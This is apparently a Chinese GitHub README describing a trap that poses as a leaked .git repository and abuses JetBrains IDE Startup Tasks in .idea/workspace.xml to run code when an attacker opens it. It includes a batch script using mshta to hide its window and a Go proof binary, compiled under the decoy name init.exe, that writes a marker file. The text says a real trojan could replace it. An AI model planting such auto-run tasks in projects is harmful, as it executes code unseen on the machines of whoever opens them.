/idea-project-fish-exploit

JetBrains系列产品.idea钓鱼反制红队

Primary LanguageGo

JetBrains系列产品.idea钓鱼反制红队

一、利用思路

将这个项目伪装为一个.git泄露,红队使用扫描器扫描到.git泄露大概率会忍不住诱惑下载,如果下载完使用JetBrains家的IDE打开则会直接RCE

为了使其有更大的可能性使用IDE打开,将项目伪装的尽可能大一些,看起来不是一个文本编辑器查看能够搞得定的,这个时候会写代码的红队很可能会使用自己的IDE打开阅读尝试寻找有效信息。

二、为什么能够在打开项目的时候RCE

JetBrains系列的产品支持一个Startup Tasks的功能:

https://www.jetbrains.com/help/idea/settings-tools-startup-tasks.html

这个功能是用于在每次使用JetBrains系列的IDE打开给定项目的时候都执行某个任务,有些系列的IDE会将Startup Tasks放在Tools菜单下, 但是有些系列的IDE不会放,从File --> Settings 打开设置:

然后搜索Startup Tasks即可打开相关设置项,然后Add New Configuration增加一个新的配置:

这里有很多选项,通过这些任务就可以实现RCE:

三、执行任意脚本文件

这里选择比较容易实现RCE的shell script

选择项目文件夹下的批处理文件,注意一定要取消勾选Actiovate tool window,这个选项被勾选时执行脚本的时候会把Terminal窗口给打开再执行,这个时候隐蔽性就没那么高了, 一旦激警很可能会迅速取消使得文件得不到执行:

这个文件的内容是保存在项目文件夹下的.idea/workspace.xml文件中的:

打开此文件,可以找到刚刚添加的任务:

批处理文件的内容:

@REM 这几行是为了隐藏执行时的黑框
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin

@REM 从这里开始是自定义的逻辑,可以使用bat进行一些非法操作啥的
mshta vbscript:msgbox("You Are Hacked By Me!",1,"Tips")(window.close)

此时退出重新打开项目就会执行这个批处理文件,不过经过实验发现了一种更好的方式。

四、执行可执行文件

笔者实验发现在shell script任务中可以不必老老实实指定一个批处理脚本文件,而是可以直接指定一个二进制文件,这个二进制文件一样会被执行。

比如现在使用golang模拟一个木马的行为,这里为了简单只是写个本地文件用来证明确实被执行了:

package main

import (
	"fmt"
	"io/ioutil"
	"time"
)

func main() {

	// 只是写一个本地文件,用于证明确实能够执行可执行文件,在实际进行钓鱼攻击的时候可以替换为木马文件直接执行啥的
	message := fmt.Sprintf("[%s] 您好,当您看到此行文本的时候,您已经被成功钓鱼,请及时打开杀软扫描清理!", time.Now().Format("2006-01-02 15:04:05"))
	content := []byte(message)
	err := ioutil.WriteFile("prove.txt", content, 0644)
	if err != nil {
		panic(err)
	}
}

借助于goland的交叉编译,可以很方便的为各个平台都生成可执行文件,这里为了增加迷惑性手动指定了编译后的二进制文件名字:

编译Windows下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="windows"  
$env:GOARCH="amd64"  
go build -o ./bin/windows/init.exe main.go

编译Mac下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="darwin"  
$env:GOARCH="amd64"  
go build -o ./bin/mac/init main.go

编译Linux下的可执行文件:

$env:CGO_ENABLED="0"  
$env:GOOS="linux"  
$env:GOARCH="amd64"  
go build -o ./bin/linux/init main.go

然后添加三个Startup Task以防有漏网之鱼:

此时.idea/workspace.xml文件中可以看到这三个任务:

然后重启项目,观察项目根目录下是否有名为prove.txt的文件被创建了,打开查看其内容:

可以看到时间就是刚刚写入的,证明二进制文件被成功执行了,这个二进制文件如果替换为木马,那就相当于是在红队机器上直接执行木马上线了...

五、结语

  1. 技术对抗是件很有意思的事情,谁是猎人谁是猎物可能是不确定的。
  2. JetBrains家已经增加了Trusted Project 来预防这种钓鱼,在打开不可信项目时会先弹个窗让用户选择项目的可信级别: 相关资料:
    https://www.jetbrains.com/help/idea/project-security.html
    https://zhuanlan.zhihu.com/p/358052965

六、参考资料

  1. 利用项目配置文件进行 RCE - IDE Trust Project 功能探究